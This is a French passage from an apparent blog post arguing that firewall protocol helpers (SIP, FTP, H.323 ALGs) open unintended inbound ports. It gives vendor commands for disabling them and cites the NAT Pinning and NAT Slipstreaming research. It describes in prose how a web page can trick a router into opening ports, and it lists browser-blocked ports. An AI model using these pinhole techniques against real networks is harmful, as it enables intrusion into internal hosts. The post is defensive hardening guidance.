un interrupteur pour stopper complètement l\u0026rsquo;attribution automatique11. Puis, le 25 avril 2016, le noyau a changé sa valeur par défaut, dans un message de commit qu\u0026rsquo;il vaut la peine de lire en entier tant il sonne las :\nFour years ago we introduced a new sysctl knob to disable automatic helper assignment [\u0026hellip;] This knob kept this behaviour enabled by default to remain conservative. This measure was introduced to provide a secure way to configure iptables and connection tracking helpers through explicit rules. Give the time we have waited for this, let\u0026rsquo;s turn off this by default now, worse case users still have a chance to recover the former behaviour by explicitly enabling this back through sysctl.5\nC\u0026rsquo;est arrivé avec Linux 4.7, et depuis, une machine dont ces modules sont chargés n\u0026rsquo;en fait rien tant que vous n\u0026rsquo;écrivez pas une règle en rattachant un à un flux, avec une ligne de journal qui vous le dit. Tout ce qui suit est dans le diagramme ci-dessus : Slipstreaming et sa variante visant tous les équipements, quatre éditeurs de navigateurs livrant des mesures pendant que la norme de la plateforme web elle-même gagnait la liste de ports25, l\u0026rsquo;assistant IRC se déclenchant sur un message que personne n\u0026rsquo;a composé, et quatre autres failles d\u0026rsquo;ALG dans la gamme phare de pare-feux d\u0026rsquo;un fournisseur.\nRegardez maintenant ce qui manque à la liste. En vingt-cinq ans, pas une seule ligne n\u0026rsquo;est un fabricant de pare-feu poussant une mise à jour de micrologiciel qui coupe ces fonctions sur du matériel déjà déployé. L\u0026rsquo;organisme de normalisation l\u0026rsquo;a demandé. Le noyau l\u0026rsquo;a fait en amont. Les chercheurs l\u0026rsquo;ont prouvé quatre fois séparément. Les navigateurs ont payé. Les boîtes ont continué.\nEt la liste de ports bloqués est l\u0026rsquo;indice. Les ports 69, 137, 161, 554, 1719, 1720, 1723, 5060, 5061, 6566 et 10080 y figurent tous6 — TFTP, NetBIOS, SNMP, RTSP, H.323 deux fois, PPTP, SIP deux fois, le protocole de scanner et le protocole de sauvegarde Amanda. Listez les modules d\u0026rsquo;assistance dans un arbre de noyau Linux et vous constaterez que vous avez lu deux fois la même liste. Pas une coïncidence, et pas une mesure de sécurité. C\u0026rsquo;est un secteur qui entretient en permanence une liste de blocage de ports qui s\u0026rsquo;allonge, parce qu\u0026rsquo;un autre secteur refuse de changer une valeur par défaut.\nSous la plupart des badges, c\u0026rsquo;est du Linux Le détail netfilter est la partie importante et non une digression en forme de Linux, et il vaut la peine de dire pourquoi avant la liste des fournisseurs. Une très grande part des boîtes qui font du NAT sur cette planète, c\u0026rsquo;est du Linux avec netfilter sous une interface de fournisseur : toute dérivée d\u0026rsquo;OpenWrt, c\u0026rsquo;est-à-dire l\u0026rsquo;essentiel du marché des routeurs grand public et petites entreprises, la plupart des box fournies par les opérateurs, une bonne partie des équipements de NAT d\u0026rsquo;opérateur, et quantité d\u0026rsquo;appliances commerciales dont l\u0026rsquo;interface web ne laisse rien deviner de ce qu\u0026rsquo;il y a dessous. L\u0026rsquo;assistant qui analyse votre SIP est, dans bien des cas, ce même nf_conntrack_sip.c livré dans le noyau principal, compilé par quelqu\u0026rsquo;un d\u0026rsquo;autre et piloté par un menu.\nLa preuve est dans la recherche elle-même. Quand Samy a cherché le SIP ALG dans un routeur Netgear, il a extrait le micrologiciel et trouvé un module noyau contenant ftp_decode et sip_decode2. La liste testée par Armis comprenait OpenWrt et VyOS plus une catégorie qu\u0026rsquo;ils ont simplement appelée « various consumer grade Linux routers, with likely older kernel versions », et l\u0026rsquo;analyse H.323 qui a produit le résultat « n\u0026rsquo;importe quel hôte interne » a été faite en lisant les sources de netfilter, puis confirmée sur des pare-feux commerciaux de trois fournisseurs3.\nDeux conséquences pratiques en découlent.\nLa valeur par défaut du noyau ne vous atteint pas. Linux 4.7 a coupé l\u0026rsquo;attribution automatique en 2016, mais seulement si le noyau est assez récent et que personne ne l\u0026rsquo;a rallumée. Armis a trouvé VyOS remettant explicitement nf_conntrack_helper à 1, et a noté que quantité de produits fondés sur Linux la réactivent « as it is still useful for many users »3. Un noyau de 2014 dans un produit de 2026 hérite du comportement de 2014, et un noyau récent avec l\u0026rsquo;interrupteur basculé donne la même chose. Ni l\u0026rsquo;un ni l\u0026rsquo;autre n\u0026rsquo;apparaît sur une fiche technique.\nConnaître le modèle netfilter vous dit quoi demander à toutes les autres boîtes. Les trois questions de la section sur les expectations ne sont pas des questions Linux. Ce sont les questions. Chaque fournisseur a le même objet sous un autre nom, la documentation ne donne presque jamais les réponses, et savoir ce que fait l\u0026rsquo;implémentation de référence est la façon de déterminer quoi tester.\nFaites le travail Linux correctement, puis lisez tous les autres fournisseurs à cette aune.\nLes assistants Linux, correctement Commencez par ce qui est réellement chargé :\nlsmod | grep -E \u0026#39;nf_conntrack|nf_nat\u0026#39; Les modules d\u0026rsquo;assistance sont ceux nommés d\u0026rsquo;après des protocoles — nf_conntrack_ftp, _sip, _h323, _irc, _tftp, _pptp, _snmp, _amanda, _sane, _netbios_ns et _talk — chacun avec un nf_nat_* correspondant là où des adresses sont réécrites. Vérifiez ensuite si l\u0026rsquo;attribution automatique est active, car c\u0026rsquo;est l\u0026rsquo;interrupteur qui décide si un module chargé fait quelque chose de lui-même :\nsysctl net.netfilter.nf_conntrack_helper Zéro est ce que vous voulez, et zéro est la valeur par défaut depuis Linux 4.75. Un signifie que chaque assistant chargé est actif sur tout flux correspondant à son port, depuis n\u0026rsquo;importe quelle adresse, c\u0026rsquo;est-à-dire le comportement de 2015 et celui que supposent les attaques de ce billet.\nSurveillez ensuite conntrack -L expect sur un pare-feu en service. Assistants désactivés, cela reste vide ; activés, mettez une capture à côté et regardez les lignes apparaître à mesure que les gens utilisent le réseau. Cet exercice vaut d\u0026rsquo;être fait une fois dans sa vie, car rien ne fait passer le message plus vite que de voir une autorisation entrante que vous n\u0026rsquo;avez pas écrite apparaître et disparaître sous vos yeux.\nSi l\u0026rsquo;attribution automatique est coupée et que vous voulez malgré tout un assistant précis sur un flux précis, la voie sanctionnée est une règle explicite, qui le borne au moins à une destination et un port :\niptables -t raw -A PREROUTING -p tcp --dport 21 -d 192.0.2.10 -j CT --helper ftp L\u0026rsquo;équivalent nftables déclare un objet ct helper et le rattache avec ct helper set dans la chaîne prerouting, la même discipline avec une meilleure syntaxe.\nRegardez ce qu\u0026rsquo;est cette règle : une exception entrante documentée, approuvée, justifiée par un besoin métier, écrite par une personne, dans le jeu de règles, là où un auditeur peut la lire. C\u0026rsquo;est-à-dire la chose que la version automatique n\u0026rsquo;a jamais pu être.\nSi vous les voulez parties plutôt que simplement endormies, et sur un pare-feu c\u0026rsquo;est ce qu\u0026rsquo;il faut, empêchez carrément le chargement des modules :\nfor m in ftp sip h323 irc tftp pptp snmp amanda sane netbios_ns talk; do echo \u0026#34;install nf_conntrack_$m /bin/false\u0026#34; done \u0026gt; /etc/modprobe.d/no-conntrack-helpers.conf install ... /bin/false plutôt que blacklist est délibéré : blacklist n\u0026rsquo;empêche que le chargement automatique par alias, et qui demande le module par son nom l\u0026rsquo;obtient quand même. Et si la couche pare-feu de votre distribution les charge pour vous — firewalld le fait quand une zone active le service FTP ou TFTP — c\u0026rsquo;est cette couche qu\u0026rsquo;il faut corriger, car elle les remettra obligeamment.\nTous les autres badges, et comment les couper Vérifiez votre propre version plutôt que de croire quoi que ce soit écrit sur internet, le mien compris, car ces valeurs par défaut bougent entre les versions et entre les modèles d\u0026rsquo;une même gamme.\npfSense et OPNsense sont la preuve que le débat est clos. Il n\u0026rsquo;y a pas de SIP ALG à désactiver, parce qu\u0026rsquo;il n\u0026rsquo;y en a jamais eu à activer. Ce sont parmi les distributions de pare-feu les plus déployées qui soient, elles font tourner la téléphonie de très nombreuses organisations, et si un assistant était réellement nécessaire pour que la VoIP moderne fonctionne, ce ne serait pas possible. Cela l\u0026rsquo;est manifestement. Le proxy FTP a suivi le même chemin : Netgate l\u0026rsquo;a sorti du système de base en janvier 2015 et rétrogradé en paquet additionnel que la plupart des gens n\u0026rsquo;ont jamais installé.\nLa conception d\u0026rsquo;OpenBSD est celle que tous les autres auraient dû copier. pf ne réécrit aucune charge utile dans le chemin de transmission. Si vous voulez que FTP soit aidé, vous lancez ftp-proxy, un démon distinct en espace utilisateur, et vous écrivez une règle divert-to explicite qui y envoie la connexion de contrôle ; le proxy se connecte alors au serveur pour le compte du client26. Trois propriétés en découlent aussitôt : il est coupé tant que vous ne l\u0026rsquo;activez pas délibérément, il ne voit que le trafic que vous avez nommé dans une règle, et un bogue dedans fait planter un processus utilisateur plutôt que le chemin des paquets. Voilà à quoi ressemble l\u0026rsquo;opt-in quand quelqu\u0026rsquo;un le conçoit au lieu de le rajouter après coup.\nOpenWrt ne livre pas les modules ALG, et l\u0026rsquo;attribution automatique reste coupée même si vous les installez.\nCisco ASA et FTD portent des moteurs d\u0026rsquo;inspection dans la politique globale par défaut, et no inspect sip est le conseil de Cisco lui-même en cas d\u0026rsquo;incident :\npolicy-map global_policy class inspection_default no inspect sip no inspect h323 h225 no inspect h323 ras no inspect skinny Sur FTD, c\u0026rsquo;est configure inspection sip disable depuis la CLI de l\u0026rsquo;équipement16. Le passage IPsec est la chose que Cisco a bien faite : inspect ipsec-pass-thru ne figure pas du tout dans la politique par défaut, donc à moins que quelqu\u0026rsquo;un ne l\u0026rsquo;ait ajouté délibérément, il n\u0026rsquo;y a rien à retirer20.\nCisco IOS et IOS XE l\u0026rsquo;ont aussi actif par défaut — « NAT support for SIP is enabled by default on port 5060 », dans les mots de Cisco7, et de même pour H.323 :\nno ip nat service sip tcp port 5060 no ip nat service sip udp port 5060 no ip nat service h225 Juniper SRX active SIP et H.323 sur les modèles Branch et pas sur le haut de gamme, ce qui à soi seul vous dit ce qu\u0026rsquo;en pensent les ingénieurs de Juniper. Voyez où vous en êtes avec show security alg status, puis :\nset security alg h323 disable set security alg sip disable set security alg ftp disable set security alg ike-esp-nat disable FortiGate inspecte la VoIP par défaut via le profil VoIP, avec un session helper noyau en dessous. La séquence documentée par Fortinet retire d\u0026rsquo;abord l\u0026rsquo;assistant27 :\nconfig system session-helper show delete \u0026lt;l\u0026#39;entrée SIP\u0026gt; end config system settings set default-voip-alg-mode kernel-helper-based end Lisez le numéro d\u0026rsquo;entrée dans votre propre sortie show plutôt que d\u0026rsquo;en recopier un, car il change selon les modèles et les versions. Fortinet prévient qu\u0026rsquo;un redémarrage est souvent nécessaire.\nCheck Point est le cas gênant à auditer, parce qu\u0026rsquo;il n\u0026rsquo;y a pas d\u0026rsquo;interrupteur unique. L\u0026rsquo;assistant est une propriété de l\u0026rsquo;objet service utilisé dans la règle, donc le service SIP prédéfini vous apporte le gestionnaire de protocole et tout ce qu\u0026rsquo;il fait. L\u0026rsquo;éviter suppose de définir votre propre service UDP ou TCP simple sur le port 5060 avec le type de protocole à « none », d\u0026rsquo;activer la correspondance, et de placer cette règle avant tout ce qui utilise encore les services intégrés. « L\u0026rsquo;ALG est-il actif ? » n\u0026rsquo;est donc pas une question à laquelle une page de réglages peut répondre. À ce titre, méfiez-vous avant d\u0026rsquo;accepter la parole de quelqu\u0026rsquo;un affirmant qu\u0026rsquo;il est désactivé.\nPalo Alto vous donne un interrupteur par application, et sa propre documentation dit que le SIP ALG « creates dynamic NAT pinholes »8. Objects, Applications, cherchez sip, personnalisez l\u0026rsquo;option ALG, cochez Disable ALG, validez.\nMikroTik livre dix assistants sous /ip firewall service-port — SIP, H.323, FTP, IRC, TFTP, PPTP, RTSP et d\u0026rsquo;autres — documentés en une ligne chacun, sans le moindre avertissement de sécurité sur la page. Listez d\u0026rsquo;abord, puis coupez ce que vous trouvez :\n/ip firewall service-port print /ip firewall service-port set [find name=sip] disabled=yes /ip firewall service-port set [find name=h323] disabled=yes /ip firewall service-port set [find name=ftp] disabled=yes Box grand public et box opérateur. Cherchez « SIP ALG », « SIP helper », « VoIP passthrough » ou « application layer gateway », en général sous une page de NAT avancé. Sur beaucoup, surtout celles des opérateurs, il n\u0026rsquo;y a aucun réglage — ce qui vous dit si cette boîte a sa place sur un réseau dont vous êtes responsable.\nQuelle que soit la plateforme, terminez de la même façon : prouvez-le. Mettez une capture sur l\u0026rsquo;interface externe, envoyez depuis l\u0026rsquo;extérieur une ligne PORT ou REGISTER fabriquée sur le port concerné, et vérifiez que rien ne s\u0026rsquo;ouvre. Un réglage que vous n\u0026rsquo;avez pas testé est une croyance.\nL\u0026rsquo;essentiel de ce qui casse est déjà mort Être honnête sur le coût est toute la base pour demander cela à quelqu\u0026rsquo;un, alors le voici. Couper l\u0026rsquo;assistant SIP sur un réseau aux téléphones mal configurés peut casser des appels, en général de l\u0026rsquo;audio unidirectionnel ou des enregistrements qui tombent. Couper l\u0026rsquo;assistant FTP casse le FTP actif sortant. Couper l\u0026rsquo;assistant H.323 casse H.323, s\u0026rsquo;il vous en reste. C\u0026rsquo;est réel, et vous devez vous attendre à au moins un de ces effets si vous faites cela en un seul changement sur un réseau que personne n\u0026rsquo;a regardé depuis des années.\nRelisez maintenant la liste et remarquez que presque chaque protocole servi par un assistant est un protocole que le reste du secteur a déjà enterré. H.323 a perdu contre SIP il y a vingt ans. PPTP est indéfendable depuis 1998, et j\u0026rsquo;ai développé ce point dans IPsec était une bonne idée. Les transferts directs IRC appartiennent à une décennie que personne ne regrette. Le service de noms NetBIOS, les versions à community string de SNMP, le protocole de découverte de scanners et l\u0026rsquo;ancien protocole de sauvegarde sont des reliques de réseau local qui n\u0026rsquo;ont jamais eu à franchir une frontière. Le FTP simple a totalement disparu des navigateurs — Firefox l\u0026rsquo;a désactivé en version 88 et retiré en 90 en juillet 2021, et Chrome en a supprimé le code en version 95 en octobre, tous deux au motif que l\u0026rsquo;usage était négligeable et la sécurité ne valait pas l\u0026rsquo;entretien28.\nDonc « on ne peut pas couper l\u0026rsquo;assistant, quelque chose va casser » est le plus souvent un argument pour maintenir un protocole mort sous assistance afin de justifier une fonction qui ouvre des ports à des inconnus. Le couper ne casse pas votre réseau. Cela met au jour la seule chose dessus qui aurait dû être retirée il y a des années, information que vous vouliez de toute façon.\nSIP est la vraie exception et c\u0026rsquo;est la seule. Tout le reste de cette liste est un argument que vous devriez être content de perdre — et rien n\u0026rsquo;y est insoluble, car chaque protocole concerné a résolu lui-même son problème de traduction il y a des années, dans le protocole, là où c\u0026rsquo;est sa place.\nQuoi faire à la place La réponse middlebox et la réponse des extrémités, côte à côte Le même problème, résolu deux fois. Une réponse a mis la décision au milieu. Un boîtier du chemin décide Les deux extrémités décident Comment ça marche Un équipement lit la charge utile au passage Il réécrit l'adresse qu'il y trouve écrite Il ouvre un trou entrant pour la connexion décrite Personne aux deux bouts ne sait que c'est arrivé Comment ça marche Chaque bout demande à un serveur de quoi il a l'air Chacun propose tous ses chemins : local, traduit, relayé Les deux bouts testent les chemins l'un contre l'autre Ils gardent celui qui marche ouvert par leur trafic Ce que cela exige de vous Une charge utile lisible, donc pas de chiffrement du canal de contrôle. Cet équipement précis, ce chemin précis. Un seul traducteur : un NAT opérateur en aval casse tout. Et la confiance en l'auteur du texte, ce à quoi personne n'avait pensé avant 2010. Ce que cela exige de vous Un accès sortant, et rien d'autre. Cela traverse des traducteurs qui ne vous appartiennent pas et que vous ne voyez pas, deux empilés, un réseau mobile, et avec un canal de contrôle chiffré de bout en bout, parce que rien au milieu ne le lit. Pour le transfert de fichiers, c'est plus simple encore : le mode passif, où le client ouvre les deux connexions vers l'extérieur et où il ne reste rien à faire. La colonne de droite n'est pas une proposition. C'est ce que votre navigateur fait déjà. Chaque appel vidéo en navigateur se négocie ainsi, à travers tout type de traducteur, sans aucun ALG dans le chemin. Le même problème, résolu deux fois. Une réponse a mis la décision dans une boîte au milieu. L\u0026rsquo;autre a laissé les deux extrémités s\u0026rsquo;arranger entre elles, ce que fait déjà chaque navigateur du monde à chaque appel vidéo. FTP. Le mode passif, dans la spécification depuis 1985 et le comportement par défaut de tous les clients depuis vingt ans : les deux connexions partent vers l\u0026rsquo;extérieur et il ne reste rien à faire pour un assistant. Et si vous déplacez des fichiers entre organisations en 2026, FTP n\u0026rsquo;est pas le protocole pour cela — SFTP et FTPS sont chiffrés, et un assistant n\u0026rsquo;atteint ni l\u0026rsquo;un ni l\u0026rsquo;autre.\nSIP et tout le temps réel. Le point d\u0026rsquo;extrémité demande à un serveur sur internet à quoi ressemblent son adresse et son port publics vus de l\u0026rsquo;extérieur, propose tous les chemins dont il dispose, et les deux extrémités testent les chemins l\u0026rsquo;un contre l\u0026rsquo;autre et gardent celui qui marche, avec un relais là où aucun chemin direct n\u0026rsquo;existe. C\u0026rsquo;est STUN, TURN et ICE, et c\u0026rsquo;est ce que fait chaque navigateur du monde à chaque appel vidéo, à travers tous les types de traducteurs, sans un seul ALG dans le chemin. Si votre téléphonie ne sait pas le faire en 2026, le problème est votre téléphonie.\nIPsec. La traversée de NAT, c\u0026rsquo;est-à-dire RFC 3947 et RFC 3948 : les deux extrémités repèrent le traducteur pendant l\u0026rsquo;échange de clés et encapsulent ESP dans UDP 4500 pour le reste de la session21, sans porte sur aucun boîtier intermédiaire.\nH.323. Retirez-le. SIP a gagné ce débat vers 2005, il n\u0026rsquo;y a donc pas de migration à planifier, seulement une suppression. Les transferts directs, TFTP, SNMP, NetBIOS, la découverte de scanners et le protocole de sauvegarde suivent le même chemin : aucun n\u0026rsquo;a à traverser une frontière.\nIPv6. Rien de tout cela n\u0026rsquo;y existe, car il n\u0026rsquo;y a pas de traduction et donc rien qu\u0026rsquo;un assistant puisse réécrire. Un hôte a sa propre adresse, l\u0026rsquo;adresse dans la charge utile est vraie, et un pare-feu à états autorise ce que vous lui avez dit et rien d\u0026rsquo;autre. Tous les problèmes de ce billet descendent de la traduction d\u0026rsquo;adresses, et la traduction d\u0026rsquo;adresses descend du non-déploiement d\u0026rsquo;IPv6 — argument que j\u0026rsquo;ai développé ailleurs et que je ne répéterai pas.\nMaintenant la partie où je ne serai pas diplomate.\nSi quelqu\u0026rsquo;un vous dit d\u0026rsquo;activer ces choses — un fournisseur, un installateur de téléphonie, un service managé, un intégrateur sous accord-cadre — ce n\u0026rsquo;est ni un ingénieur réseau ni un spécialiste de la sécurité. Il est peut-être très bon dans ce qu\u0026rsquo;il fait réellement, et ce ne sera pas cela. La bonne réponse à une téléphonie qui a besoin qu\u0026rsquo;un pare-feu réécrive sa signalisation est de réparer la téléphonie, et celui qui vous dit plutôt d\u0026rsquo;ouvrir votre frontière à un analyseur de chaînes vous dit qu\u0026rsquo;il ignore ce qu\u0026rsquo;est une expectation ou qu\u0026rsquo;il s\u0026rsquo;en moque. Ici, on n\u0026rsquo;est pas chez les amateurs. La bonne manière de faire est écrite dans des documents standards track depuis 2007, et « activez donc l\u0026rsquo;assistant SIP » est le bruit de quelqu\u0026rsquo;un qui attrape ce qui ferme le ticket aujourd\u0026rsquo;hui.\nDemandez-lui, dans la pièce, à quoi est réglé le joker d\u0026rsquo;adresse source de l\u0026rsquo;expectation. Si la question le surprend, vous avez votre réponse, et il n\u0026rsquo;a jamais été question du protocole.\nSi vous les faites encore tourner, pouvez-vous vous dire professionnel ? C\u0026rsquo;est une vraie question et elle mérite une vraie réponse, alors en voici trois, car il y a trois cas. Tout tient à savoir ou non — et le savoir n\u0026rsquo;est pas quelque chose qui vous arrive. Faire en sorte de savoir, c\u0026rsquo;est le travail.\nS\u0026rsquo;il y a un assistant SIP, H.323 ou FTP actif sur une frontière dont vous êtes responsable, et que vous ne pouvez pas dire sans chercher ce qu\u0026rsquo;est une expectation, lesquels de ses champs sont des jokers, qui fournit les valeurs, et ce que votre dossier de certification affirme sur les règles entrantes — alors non. Pas là-dessus. Vous n\u0026rsquo;avez pas choisi une configuration, vous avez hérité d\u0026rsquo;une valeur par défaut sans jamais aller la lire. Le manquement n\u0026rsquo;est pas la lacune ; tout le monde en a, et j\u0026rsquo;ai eu celle-ci. C\u0026rsquo;est de bâtir une frontière par-dessus une lacune que vous n\u0026rsquo;êtes jamais allé combler, puis de signer un papier disant que la frontière tient.\nSi vous savez exactement ce que cela fait, et que c\u0026rsquo;est actif parce qu\u0026rsquo;un régulateur nomme le protocole, parce que l\u0026rsquo;équipement d\u0026rsquo;un partenaire ne termine rien d\u0026rsquo;autre, ou parce que la téléphonie est remplacée en mars et que cela doit tenir jusque-là — alors oui, évidemment, et vous faites le travail correctement. Ce sont de vraies contraintes et j\u0026rsquo;ai contourné pire. Ce qui rend la chose professionnelle plutôt que négligente, c\u0026rsquo;est que vous avez écrit quel assistant, sur quelle interface, pour quel flux, pourquoi, et à quelle date il saute. C\u0026rsquo;est-à-dire exactement la paperasse que demandait déjà l\u0026rsquo;exigence pare-feu.\nLe cas indéfendable est celui du milieu. En savoir assez pour être mal à l\u0026rsquo;aise, et le laisser tourner parce que personne ne vous a jamais obligé à le justifier. Ce n\u0026rsquo;est pas de l\u0026rsquo;ingénierie. C\u0026rsquo;est de l\u0026rsquo;habitude avec un numéro de changement accroché, et c\u0026rsquo;est ainsi qu\u0026rsquo;une fonction qu\u0026rsquo;une Best Current Practice vous a dit de couper en janvier 2007 est encore active en 2026.\nCela compte surtout quand vous payez quelqu\u0026rsquo;un pour son jugement, car le jugement ne s\u0026rsquo;inspecte pas à la livraison. Inspectez-le donc avant de signer. Demandez ce que fait leur configuration standard des assistants de protocole et pourquoi, demandez ce qui se passe si quelqu\u0026rsquo;un sur le réseau invité ouvre un lien, et demandez quels équipements internes seraient joignables avec l\u0026rsquo;assistant H.323 actif — puis regardez s\u0026rsquo;ils répondent « seulement la machine qui a cliqué », car c\u0026rsquo;est faux, et c\u0026rsquo;est la mauvaise réponse que donne quelqu\u0026rsquo;un qui a l\u0026rsquo;air compétent. Vous saurez en deux minutes si on vous dit quelque chose ou si on vous fait la lecture, et deux minutes sont un test bien moins cher qu\u0026rsquo;un incident.\nSi la réponse est un haussement d\u0026rsquo;épaules et que vous signez quand même, c\u0026rsquo;est aussi une décision. Elle a simplement cessé d\u0026rsquo;être la leur pour devenir la vôtre.\nPersonne n\u0026rsquo;a jamais eu à le justifier Je veux être juste envers ceux qui ont construit ces choses, car ils le méritent.\nEn 1994, l\u0026rsquo;assistant était une réponse raisonnable à un vrai problème. Les adresses se raréfiaient, le NAT était le correctif pragmatique, une poignée de protocoles importants n\u0026rsquo;y survivaient pas, et le choix était de modifier tous les clients FTP de la terre ou d\u0026rsquo;apprendre à lire à la boîte. Ils ont appris à lire à la boîte, ont livré les valeurs par défaut les plus sûres qu\u0026rsquo;ils imaginaient, et ont écrit dans les sources des avertissements sur ce à quoi on pouvait la faire servir. Ces avertissements sont toujours là. J\u0026rsquo;en ai cité un.\nCe qui a mal tourné ensuite n\u0026rsquo;est pas un échec technique. C\u0026rsquo;est que rien dans ce secteur n\u0026rsquo;a jamais obligé qui que ce soit à y revenir. L\u0026rsquo;IETF a dit de les couper et n\u0026rsquo;avait aucun pouvoir d\u0026rsquo;y contraindre. Le noyau a changé sa valeur par défaut et ne pouvait pas atteindre les équipements déjà livrés. Les chercheurs l\u0026rsquo;ont prouvé quatre fois en seize ans, et à chaque fois le correctif a atterri ailleurs que dans le pare-feu.\nPendant ce temps, la valeur par défaut est restée active. Non parce que quelqu\u0026rsquo;un la défendait. Parce qu\u0026rsquo;une valeur par défaut dont personne ne discute survit indéfiniment, et qu\u0026rsquo;il n\u0026rsquo;existe nulle part un service dont le métier serait de mettre fin aux choses.\nC\u0026rsquo;est le motif, et il dépasse une fonction de pare-feu. Ce métier est excellent pour entretenir et désespérant pour arrêter. La maintenance est budgétée, dotée, facturable et sûre, tandis que le retrait demande à une personne de mettre son nom sur un changement sans bénéfice s\u0026rsquo;il se passe bien et couvert de son nom s\u0026rsquo;il se passe mal. Alors la chose reste, et reste, et un jour quelqu\u0026rsquo;un découvre qu\u0026rsquo;elle ouvre des ports vers votre imprimante.\nL\u0026rsquo;indice, pour moi, c\u0026rsquo;est cette formule dans la documentation de Cisco : l\u0026rsquo;ALG crée une porte NAT. Pas un filtre. Pas un contrôle. Une porte, dans le mur que vous avez payé, ouverte par quiconque y fait parvenir un paquet avec les bons mots en tête — et la réponse installée du secteur a été de prier les passants de bien vouloir ne pas essayer la poignée.\nVous pouvez fermer la vôtre cet après-midi, et c\u0026rsquo;est là-dessus qu\u0026rsquo;il vaut la peine de finir. Pas sur les attaques ; les attaques ne sont que ce qui arrive quand personne ne le fait. Allez voir ce que votre frontière autorise en entrée sans que vous l\u0026rsquo;ayez jamais écrit, décidez si vous le vouliez, et retirez ce que vous ne vouliez pas — en mettant une date à côté de ce que vous gardez.\nUne frontière n\u0026rsquo;a jamais été autre chose : une liste de choses que quelqu\u0026rsquo;un a choisi d\u0026rsquo;autoriser et savait justifier. Ce qui y figure sans que personne l\u0026rsquo;ait choisi n\u0026rsquo;est pas de la sécurité. C\u0026rsquo;est du mobilier.\nSamy Kamkar — NAT Pinning, 5 janvier 2010. L\u0026rsquo;attaque d\u0026rsquo;origine du navigateur vers l\u0026rsquo;ALG, au moyen d\u0026rsquo;un formulaire caché qui fait émettre à un navigateur un DCC CHAT IRC ou une ligne de réponse FTP 227, afin que l\u0026rsquo;assistant du routeur ouvre un port entrant. « No XSS or CSRF required. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSamy Kamkar — NAT Slipstreaming, 31 octobre 2020, mis à jour en janvier 2021. Résumé par l\u0026rsquo;auteur comme permettant « an attacker to remotely access any TCP/UDP service bound to a victim machine, bypassing the victim\u0026rsquo;s NAT/firewall (arbitrary firewall pinhole control), just by the victim visiting a website ». Contient la technique des frontières de segment, la note selon laquelle le gestionnaire SIP « will bail unless the method (eg, REGISTER) occurs at the start of the data portion of the packet », et l\u0026rsquo;analyse du micrologiciel Netgear qui a trouvé ftp_decode et sip_decode dans un module noyau.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBen Seri et Gregory Vishnepolsky, Armis — NAT Slipstreaming v2.0, 26 janvier 2021. La primitive de renvoi d\u0026rsquo;appel H.323, le contournement de la liste de ports bloqués via le relais, la liste des produits testés (OpenWrt, VyOS, routeurs Linux grand public, FortiGate, Cisco ASAv et csr1000v, HPE vsr1000, SonicWall TZ300), le calendrier de divulgation, et la conclusion que « resolving the issue will require a fundamental change of their implementations by various router/firewall vendors ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4787 — Network Address Translation (NAT) Behavioral Requirements for Unicast UDP, janvier 2007, BCP 127. La section 7 porte REQ-10 et l\u0026rsquo;observation que « Certain NATs have these ALGs turned on permanently, others have them turned on by default but allow them to be turned off ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPablo Neira Ayuso — netfilter : nf_ct_helper : disable automatic helper assignment, commit 3bb398d9, 25 avril 2016, livré dans Linux 4.7. Fait passer la valeur par défaut de nf_conntrack_helper d\u0026rsquo;activée à désactivée.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSources de Chromium — net/base/port_util.cc, dont le tableau kRestrictedPorts contient 69, 137, 139, 161, 554, 1719, 1720, 1723, 5060, 5061, 6566 et 10080. L\u0026rsquo;annonce des ports SIP par Adam Rice, 5 novembre 2020 : « a carefully-crafted HTTP request to port 5060 on an attacker\u0026rsquo;s server can fool some NAT devices into treating it as a SIP packet and setting up port forwarding to an attacker-controlled port number. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — SIP ALG Hardening for NAT and Firewall, IP Addressing Configuration Guide, Cisco IOS XE 17.x. « SIP ALG creates a firewall pinhole or a Network Address Translation (NAT) door based on the first value in the Via header field for each SIP request received. » La prise en charge NAT de SIP est « enabled by default on port 5060 ». Voir aussi Using Application-Level Gateways with NAT, qui indique que SIP et H.323 sont activés par défaut.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nPalo Alto Networks — Disable the SIP Application-level Gateway (ALG). « SIP ALG creates dynamic NAT pinholes but may interfere with VoIP applications that have NAT traversal capabilities, causing communication failures. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2663 — IP Network Address Translator (NAT) Terminology and Considerations, août 1999. La section 2.9 est celle où l\u0026rsquo;Application Level Gateway est défini.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3234 — Middleboxes : Taxonomy and Issues, février 2002. La phrase sur la violation de couche est en section 2.11 ; le coût des boîtes supplémentaires dans le chemin en section 5, qui ajoute que cela « creates extra points of attack, reduces or eliminates the ability to perform end to end encryption, and complicates trust models and key distribution models ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEric Leblond, Pablo Neira Ayuso, Patrick McHardy, Jan Engelhardt et Mr Dash Four — Secure use of iptables 